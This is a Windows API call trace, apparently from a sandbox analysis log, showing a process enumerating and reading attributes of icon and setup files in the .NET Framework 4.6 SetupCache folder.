	[0088.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\DisplayIcon.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\displayicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a6d78 | out: lpFileInformation=0x126a6d78*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xb7322d00, ftCreationTime.dwHighDateTime=0x1d06a93, ftLastAccessTime.dwLowDateTime=0x5d4d63c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb7322d00, ftLastWriteTime.dwHighDateTime=0x1d06a93, nFileSizeHigh=0x0, nFileSizeLow=0x159d5)) returned 1
	[0088.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics"), fInfoLevelId=0x0, lpFileInformation=0x126a6dc8 | out: lpFileInformation=0x126a6dc8*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5d56e940, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5e0d60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.393] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.393] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5d56e940, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5e0d60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5d56e940, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5e0d60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x1ecb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x2321d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x2323c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate10.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x23317, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x231ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x23209, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x231db, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate9.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x1ee54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x1ed26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x2e6f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x21479, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x23276, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x30aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0088.395] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.395] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Print.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\print.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7368 | out: lpFileInformation=0x126a7368*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x1ecb4)) returned 1
	[0088.397] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate1.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate1.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a73b8 | out: lpFileInformation=0x126a73b8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x2321d)) returned 1
	[0088.397] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate10.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate10.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7408 | out: lpFileInformation=0x126a7408*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x2323c)) returned 1
	[0088.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate2.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate2.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7458 | out: lpFileInformation=0x126a7458*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232ee)) returned 1
	[0088.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate3.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate3.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a74a8 | out: lpFileInformation=0x126a74a8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x23317)) returned 1
	[0088.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate4.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate4.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a74f8 | out: lpFileInformation=0x126a74f8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232a1)) returned 1
	[0088.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate5.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate5.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7548 | out: lpFileInformation=0x126a7548*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x231ff)) returned 1
	[0088.400] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate6.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate6.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7598 | out: lpFileInformation=0x126a7598*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x23209)) returned 1
	[0088.400] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate7.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate7.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a75e8 | out: lpFileInformation=0x126a75e8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232d4)) returned 1
	[0088.400] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate8.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate8.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7638 | out: lpFileInformation=0x126a7638*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x231db)) returned 1
	[0088.400] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Rotate9.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\rotate9.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7688 | out: lpFileInformation=0x126a7688*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x232c0)) returned 1
	[0088.401] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Save.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\save.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a76d8 | out: lpFileInformation=0x126a76d8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x1ee54)) returned 1
	[0088.401] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\Setup.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\setup.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7728 | out: lpFileInformation=0x126a7728*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x1ed26)) returned 1
	[0088.401] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\SysReqMet.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\sysreqmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7778 | out: lpFileInformation=0x126a7778*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x21479)) returned 1
	[0088.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\sysreqnotmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a77c8 | out: lpFileInformation=0x126a77c8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x23276)) returned 1
	[0088.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\stop.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\stop.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7818 | out: lpFileInformation=0x126a7818*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x2e6f7)) returned 1
	[0088.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\warn.ico" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\graphics\\warn.ico"), fInfoLevelId=0x0, lpFileInformation=0x126a7868 | out: lpFileInformation=0x126a7868*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x30aad)) returned 1
	[0088.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\NetFx_Full.mzz" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\netfx_full.mzz"), fInfoLevelId=0x0, lpFileInformation=0x126a78b8 | out: lpFileInformation=0x126a78b8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x6b06fe00, ftCreationTime.dwHighDateTime=0x1d0ab53, ftLastAccessTime.dwLowDateTime=0x57494a20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b06fe00, ftLastWriteTime.dwHighDateTime=0x1d0ab53, nFileSizeHigh=0x0, nFileSizeLow=0xcf51724)) returned 1
